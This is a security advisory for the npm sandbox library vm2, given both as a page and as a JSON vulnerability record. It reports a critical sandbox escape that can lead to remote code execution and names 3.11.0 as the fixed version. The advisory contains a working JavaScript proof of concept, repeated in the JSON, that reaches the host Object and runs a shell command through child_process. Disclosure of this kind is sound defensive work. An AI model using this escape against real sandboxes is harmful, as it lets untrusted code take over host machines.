GHSA-47X8-96VW-5WG6

Vulnerability from github – Published: 2026-05-07 04:00 – Updated: 2026-05-14 20:36
VLAI
Summary
vm2 Access to Host Object Enables Sandbox Escape
Details

Summary

It is possible to obtain the host Object, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.

Details

There are various ways to use the host Object, to escape the sandbox, one example would be using HostObject.getOwnPropertySymbols to obtain Symbol(nodejs.util.inspect.custom)

PoC

const g = {}.__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
const o = p.call(p.call(a));
const HObject = o.constructor;
sym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);

const obj = {
    [sym]: (depth, opt, inspect) => {
        inspect.constructor("return process.getBuiltinModule('child_process').execSync('ls',{stdio:'inherit'})")();
    },
    valueOf: undefined,
    constructor: undefined,
};

WebAssembly.compileStreaming(obj).catch(() => {});

Impact

Sandbox Escape -> RCE

Severity
10.0 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.5"
      },
      "package": {
        "ecosystem": "npm",
        "name": "vm2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-43997"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T04:00:19Z",
    "nvd_published_at": "2026-05-13T18:16:16Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nIt is possible to obtain the host `Object`, https://github.com/patriksimek/vm2/commit/ebcfe94ad2f864f0bc35e78cff1d921107cfd160 added some protections, but the implementation is incomplete.\n\n### Details\n\nThere are various ways to use the host `Object`, to escape the sandbox, one example would be using  `HostObject.getOwnPropertySymbols` to obtain `Symbol(nodejs.util.inspect.custom)`\n\n### PoC\n\n```js\nconst g = {}.__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, [\u0027__proto__\u0027]]);\nconst o = p.call(p.call(a));\nconst HObject = o.constructor;\nsym = HObject.getOwnPropertySymbols(Buffer.prototype).at(0);\n\nconst obj = {\n\t[sym]: (depth, opt, inspect) =\u003e {\n\t\tinspect.constructor(\"return process.getBuiltinModule(\u0027child_process\u0027).execSync(\u0027ls\u0027,{stdio:\u0027inherit\u0027})\")();\n\t},\n\tvalueOf: undefined,\n\tconstructor: undefined,\n};\n\nWebAssembly.compileStreaming(obj).catch(() =\u003e {});\n```\n\n### Impact\n\nSandbox Escape -\u003e RCE",
  "id": "GHSA-47x8-96vw-5wg6",
  "modified": "2026-05-14T20:36:28Z",
  "published": "2026-05-07T04:00:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-47x8-96vw-5wg6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-43997"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/patriksimek/vm2"
    },
    {
      "type": "WEB",
      "url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "vm2 Access to Host Object Enables Sandbox Escape"
}



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